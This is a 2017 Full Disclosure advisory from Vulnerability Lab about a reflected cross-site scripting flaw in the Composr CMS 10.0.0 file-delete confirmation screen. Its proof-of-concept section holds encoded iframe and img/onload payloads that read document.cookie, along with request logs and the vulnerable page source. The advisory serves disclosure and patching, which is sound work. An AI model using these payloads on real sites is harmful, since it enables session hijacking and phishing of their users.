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[FD] Composr CMS v10.0.0 - Cross Site Scripting Vulnerability
- To: fulldisclosure@xxxxxxxxxxxx
- Subject: [FD] Composr CMS v10.0.0 - Cross Site Scripting Vulnerability
- From: Vulnerability Lab <research@xxxxxxxxxxxxxxxxxxxxx>
- Date: Mon, 12 Jun 2017 11:01:09 +0200
Document Title:
===============
Composr CMS v10.0.0 - Cross Site Scripting Vulnerability
References (Source):
====================
https://www.vulnerability-lab.com/get_content.php?id=2066
Release Date:
=============
2017-06-08
Vulnerability Laboratory ID (VL-ID):
====================================
2066
Common Vulnerability Scoring System:
====================================
3.3
Vulnerability Class:
====================
Cross Site Scripting - Non Persistent
Current Estimated Price:
========================
500€ - 1.000€
Product & Service Introduction:
===============================
Composr is a CMS with many social media features, for building modern,
sophisticated websites. Composr supports many types
of content (galleries, news/newsletters, etc.) - and integrating rich media and
advertising into them. Social features include
forums, member blogs, chat rooms, wiki, and content commenting/rating.
(Copy of the Homepage: https://compo.sr/start.htm )
Abstract Advisory Information:
==============================
The vulnerability laboratory team discovered a non-persistent cross site
vulnerability in the official Composr v10.0.0 content management system
web-application.
Vulnerability Disclosure Timeline:
==================================
2017-06-08: Public Disclosure (Vulnerability Laboratory)
Discovery Status:
=================
Published
Affected Product(s):
====================
ocProducts Ltd
Product: Composr - Content Management System (Web-Application) 10.0.0
Exploitation Technique:
=======================
Remote
Severity Level:
===============
Medium
Technical Details & Description:
================================
A non-persistent cross site scripting vulnerability has been discovered in the
official Composr v10.0.0 content management system web-application.
The vulnerability allows remote attackers to inject own malicious script codes
to client-side browser to web-application requests for compromise.
The vulnerability is located in the `Error Exception` of the `Delete File`
function. The remote attacker is able to inject own malicious code via
GET method request in the `file` parameter to provoke an execution. The
injection point is the `file` parameter and the execution point occurs in
the error exception that displays the content to confirm a delete. The
vulnerability is a classic cross site scripting issue with non-persistent
attack vector by client-side exploitation. The error message content that is
redisplayed is not properly parsed.
The security risk of the cross site scripting vulnerability is estimated as
medium with a cvss (common vulnerability scoring system) count of 3.3.
Exploitation of the client-side cross site scripting vulnerability requires no
privileged web-application user account and only low user interaction.
Successful exploitation of the vulnerability results in session hijacking,
non-persistent phishing attacks, non-persistent external redirects to
malicious sources and non-persistent manipulation of affected or connected
application modules.
Request Method(s):
[+] GET
Vulnerable Module(s):
[+] Delete File
Parameter(s):
[+] file
Affected Module(s):
[+] Error Exception-Handling
Proof of Concept (PoC):
=======================
The cross site scripting vulnerability can be exploited by remote attackers
with low or medium user interaction and without privileged user accounts.
For security demonstration or to reproduce the vulnerability follow the
provided information and steps below to continue.
PoC: Exploit
<html>
<head><body>
<title></title>
<iframe
src=http://composr.localhost:8080/ocportal/cms/index.php?page=filedump&type=ed&file=
%3E%22%3Cimg%3E%20%3E%22%3Cimg%20src=%22x%22%20onload=alert(document.cookie)%20%3C31337.png&place=%2F&keep_fatalistic=1>
<iframe
src=http://composr.localhost:8080/ocportal/cms/index.php?page=filedump&type=ed&file=
%3E%22%3Cimg%3E%20%3E%22%3Cimg%20src=%22x%22%20onload=alert(document.domain)%20%3C20%3C31337.png&place=%2F&keep_fatalistic=1>
</body></head>
... ...
<script
language=JavaScript>m='%3Chtml%3E%0A%3Chead%3E%3Cbody%3E%0A%3Ctitle%3E%3C/title%3E%0A%3Ciframe%20src
%3Dhttp%3A//composr.localhost%3A8080/ocportal/cms/index.php%3Fpage%3Dfiledump%26type%3Ded%26file%3D%0A%253E
%2522%253Cimg%253E%2520%253E%2522%253Cimg%2520src%3D%2522x%2522%2520onload%3Dalert%28document.cookie%29%2520
%253C31337.png%26place%3D%252F%26keep_fatalistic%3D1%3E%0A%3Ciframe%20src
%3Dhttp%3A//composr.localhost%3A8080/ocportal/cms/index.php%3Fpage%3Dfiledump%26type%3Ded%26file%3D%0A%253E
%2522%253Cimg%253E%2520%253E%2522%253Cimg%2520src%3D%2522x%2522%2520onload%3Dalert%28document.domain%29%2520
%253C20%253C31337.png%26place%3D%252F%26keep_fatalistic%3D1%3E%0A%3C/body%3E%3C/head%3E';d=unescape(m);document.write(d);</script>
--- PoC Session Logs ---
Status: 200[OK]
GET
http://composr.localhost:8080/ocportal/cms/index.php?page=filedump&type=ed&file=%3E%22%3Cimg%3E%20%3E%22%3Cimg%20src=%22x%22%20onload=alert(document.domain)%20%3C20%3C31337.png&place=%2F&keep_fatalistic=1
Mime Type[text/html]
Request Header:
Host[composr.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101
Firefox/51.0]
Accept[text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Cookie[has_cookies=1; ocp_session=2109631150;
_pk_id.2.bb5e=6d867d24869e482f.1494351713.1.1494352902.1494351713.;
_pk_ses.2.bb5e=*; last_visit=1430288544]
DNT[1]
Connection[keep-alive]
Upgrade-Insecure-Requests[1]
Response Header:
Server[nginx/1.2.1]
Date[Tue, 09 May 2017 18:03:01 GMT]
Content-Type[text/html; charset=ISO-8859-1]
Transfer-Encoding[chunked]
Connection[keep-alive]
X-Powered-By[ocPortal]
Expires[Mon, 20 Dec 1998 01:00:00 GMT]
Cache-Control[no-cache, max-age=0]
Pragma[no-cache]
X-Frame-Options[SAMEORIGIN]
Content-Encoding[gzip]
-
Status: 200[OK]
GET http://composr.localhost:8080/ocportal/cms/evil.source Mime Type[text/html]
Request Header:
Host[composr.localhost:8080]
User-Agent[Mozilla/5.0 (Windows NT 10.0; WOW64; rv:51.0) Gecko/20100101
Firefox/51.0]
Accept[*/*]
Accept-Language[de,en-US;q=0.7,en;q=0.3]
Accept-Encoding[gzip, deflate]
Referer[http://composr.localhost:8080/ocportal/cms/index.php?page=filedump&type=ed&file=%3E%22%3Cimg%3E%20%3E%22%3Cimg%20src=%22evil.source%22%20onload=alert(document.cookie)%20%3C31337.png&place=%2F&keep_fatalistic=1]
Cookie[has_cookies=1; ocp_session=2109631150;
_pk_id.2.bb5e=6d867d24869e482f.1494351713.1.1494352902.1494351713.;
_pk_ses.2.bb5e=*; last_visit=1430288544]
DNT[1]
Connection[keep-alive]
Response Header:
Server[nginx/1.2.1]
Date[Tue, 09 May 2017 18:03:01 GMT]
Content-Type[text/html; charset=iso-8859-1]
Transfer-Encoding[chunked]
Connection[keep-alive]
Content-Encoding[gzip]
PoC: Vulnerable Source (Execution Point)
<article class="global_middle">
<nav class="global_breadcrumbs breadcrumbs" itemprop="breadcrumb"
role="navigation">
<img class="breadcrumbs_img"
src="http://composr.localhost:8080/ocportal/themes/default/images/breadcrumbs.png";
title="" alt="You are here">
<a title=""
href="http://composr.localhost:8080/ocportal/index.php?page=start&keep_fatalistic=1";>Home</a><span
class="sep">
<span class="accessibility_hidden"> ?</span></span> <a title=""
href="http://composr.localhost:8080/ocportal/cms/index.php?page=cms&keep_fatalistic=1";>Content
Management</a>
<span class="sep"><span class="accessibility_hidden"> ?</span></span> <a
title=""
href="http://composr.localhost:8080/ocportal/cms/index.php?page=filedump&keep_fatalistic=1";>File/Media
library</a>
<span class="sep"><span class="accessibility_hidden"> ?</span></span>
<span>Confirm</span>
</nav>
<a id="maincontent"></a>
<h1 class="screen_title" itemprop="name" role="banner">
Delete file
</h1>
<p>
Please confirm that you want to do the following:
</p>
<div class="box box___confirm_screen"><div class="box_inner">
Are you sure that you want to delete '>"<img> >"<img src="evil.source"
onload="alert(document.cookie)" <31337.png'?="" <="" div=""></div>
<form title="" method="post"
action="http://composr.localhost:8080/ocportal/cms/index.php?page=filedump&
type=ed&file=%3E%22%3Cimg%3E+%3E%22%3Cimg+src%3D%22evil.source%22+onload%3Dalert%28document.cookie%29+%3C31337.png&place=%2F&keep_fatalistic=1">
<div>
<input name="confirmed" value="1" type="hidden">
<p class="proceed_button">
<input onclick="disable_button_just_clicked(this);" accesskey="u"
class="button_page" value="Proceed" type="submit">
</p>
</div>
Reference(s):
http://composr.localhost:8080/
http://composr.localhost:8080/ocportal/
http://composr.localhost:8080/ocportal/cms/
http://composr.localhost:8080/ocportal/cms/index.php
Solution - Fix & Patch:
=======================
The vulnerability can be patched by a parse of the output in the error messag
for invalid content on delete interaction.
This needs to be recognized during the development process in all the different
delete functions.
Security Risk:
==============
The security risk of the client-side cross site scripting vulnerability in the
web-application is estimated as medium (CVSS 3.3).
Credits & Authors:
==================
Vulnerability Laboratory [Research Team] - Benjamin Kunz Mejri
(http://www.vulnerability-lab.com/show.php?user=Benjamin%20K.M.)
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=========================
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